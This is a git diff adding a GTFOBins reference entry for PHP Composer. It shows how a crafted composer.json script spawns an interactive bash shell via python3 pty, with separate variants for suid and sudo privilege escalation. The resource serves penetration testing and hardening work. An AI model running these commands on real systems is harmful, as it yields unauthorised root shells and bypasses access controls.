diff --git a/_gtfobins/composer.md b/_gtfobins/composer.md new file mode 100644 index 0000000..70d66a0 --- /dev/null +++ b/_gtfobins/composer.md @@ -0,0 +1,23 @@ +--- +functions: + suid: + - code: | + cat << EOF > composer.json + { + "scripts": { + "command": "python3 -c 'import pty;pty.spawn(\"bash\")'" + } + } + EOF + ./composer run-script command + sudo: + - code: | + cat << EOF > composer.json + { + "scripts": { + "command": "python3 -c 'import pty;pty.spawn(\"bash\")'" + } + } + EOF + composer run-script command +---